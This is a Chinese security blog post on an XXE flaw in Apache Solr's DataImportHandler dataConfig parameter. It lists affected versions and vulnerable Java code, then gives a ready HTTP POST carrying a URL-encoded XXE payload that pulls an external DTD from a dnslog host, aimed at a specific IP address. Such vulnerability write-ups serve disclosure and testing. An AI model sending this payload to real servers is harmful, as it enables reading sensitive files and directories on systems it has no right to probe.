Solr DIH dataConfig参数XXE漏洞

0x01 背景介绍

DataImportHandler主要用于从数据库抓取数据并创建索引,Solr搭建完毕,并将数据插入到MySQL等数据库之后,需要创建Core,并且对数据库中的数据生成索引,在生成索引的时候就会用到DIH。

在使用solr web控制台生成core索引的时候,dataConfig参数存在xxe漏洞,攻击者可以向服务端提交恶意的xml数据,利用恶意xml数据可以读取被攻击服务器的敏感文件、目录等。

漏洞影响版本:

  1. Solr 1.2 to 6.6.2
  2. Solr 7.0.0 to 7.2.1

0x02 漏洞测试

1、打开Solr Admin控制台;

2、选择创建好的core,然后点击DataImport功能;

3、点击”Execute”的时候,进行抓包,可以获取Dataimport的具体请求。

也可以直接访问功能入口Url:

http://www.hxxh.com/solr/#/corename/dataimport

以solr 6.0.1为例,抓包获取的测试请求如下:

POST /corename/dataimport?_= 1531279910257 &indent=on&wt=json HTTP/ 1.1
Host: 61.133 . 214.178 : 9983
Content-Length: 282
Accept: application/json, text/plain, */*
Origin: http: //www.hxxh.com
User-Agent: Mozilla/ 5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 67.0 . 3396.99 Safari/ 537.36
Content-type: application/x-www-form-urlencoded
Referer: http: //www.hxxh.com/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q= 0.9 ,en;q= 0.8
Connection: close
 
command=full- import &verbose= false &clean= false &commit= false &optimize= false &core=xxetest

默认请求中是不存在漏洞参数dataConfig的,使用的是配置文件的方式data-config.xml中包含了mysql数据库的连接配置,以及需要生成索引的表的字段等信息。

非默认参数的相关代码片段:

package org.apache.solr.handler.dataimport;
......
public class RequestInfo {
   private final String command;
   private final boolean debug; 
   private final boolean syncMode;
   private final boolean commit;
   private final boolean optimize;
   ......
   private final String configFile;
   private final String dataConfig;
 
   public RequestInfo(SolrQueryRequest request, Map<String,Object> requestParams, ContentStream stream) {
   
   ......
   
     String dataConfigParam = (String) requestParams.get( "dataConfig" );
     if (dataConfigParam != null && dataConfigParam.trim().length() == 0 ) {
       //如果dataConfig参数的值为空,将该参数置为null
       dataConfigParam = null ;
     }
     dataConfig = dataConfigParam;
     
  ......
  
    public String getDataConfig() {
     return dataConfig;
   }
   
  ......
  
}

使用如上请求,可以自行添加dataConfig参数,因此具体的漏洞测试请求如下

POST /corename/dataimport?_= 1531279910257 &indent=on&wt=json HTTP/ 1.1
Host: 61.133 . 214.178 : 9983
Content-Length: 282
Accept: application/json, text/plain, */*
Origin: http: //www.hxxh.com
User-Agent: Mozilla/ 5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 67.0 . 3396.99 Safari/ 537.36
Content-type: application/x-www-form-urlencoded
Referer: http: //www.nxadmin.com/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q= 0.9 ,en;q= 0.8
Connection: close
 
command=full- import &verbose= false &clean= false &commit= false &optimize= false &core=xxetest&dataConfig=%3C%3Fxml+version%3D% 221.0 % 22 +encoding%3D%22UTF- 8 % 22 %3F%3E %3C!DOCTYPE+root+%5B%3C!ENTITY+% 25 +remote+SYSTEM+%22http%3A%2F%2Fsolrxxe.8ug564.ceye.io%2Fftp_xxe.xml% 22 %3E%25remote%3B%5D%3E

以上是漏洞作者提供的测试payload,使用dnslog的方式证明漏洞存在,如图:



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值